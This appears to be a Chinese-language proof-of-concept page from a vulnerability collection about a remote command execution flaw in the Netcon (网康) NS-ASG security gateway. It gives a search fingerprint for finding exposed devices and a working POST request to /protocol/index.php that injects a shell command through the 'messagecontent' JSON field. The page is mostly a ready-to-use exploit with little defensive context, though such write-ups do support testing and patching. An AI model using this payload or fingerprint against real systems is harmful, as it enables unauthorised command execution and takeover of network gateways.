Awesome-POC/网络设备漏洞/网康 NS-ASG安全网关 index.php 远程命令执行漏洞.md

41 lines
994 B
Markdown
Raw Normal View History

2024-11-06 14:10:36 +08:00
# 网康 NS-ASG安全网关 index.php 远程命令执行漏洞
## 漏洞描述
网康 NS-ASG安全网关 index.php文件存在远程命令执行漏洞攻击者通过构造特殊的请求包可以获取服务器权限
## 漏洞影响
```
网康 NS-ASG安全网关
```
## 网络测绘
```
title=="网康 NS-ASG 应用安全网关"
```
## 漏洞复现
登录页面
![image-20230314085700163](images/image-20230314085700163.png)
存在漏洞的文件为 /protocol/index.php ,通过文件读取可以获取到源码
![image-20230314085713446](images/image-20230314085713446.png)
![image-20230314085722233](images/image-20230314085722233.png)
通过构造请求包进行命令拼接漏洞执行命令
```
POST /protocol/index.php
jsoncontent={"protocolType":"getsysdatetime","messagecontent":"1;id>1.txt;"}
```
![image-20230314085737042](images/image-20230314085737042.png)
![image-20230314085745134](images/image-20230314085745134.png)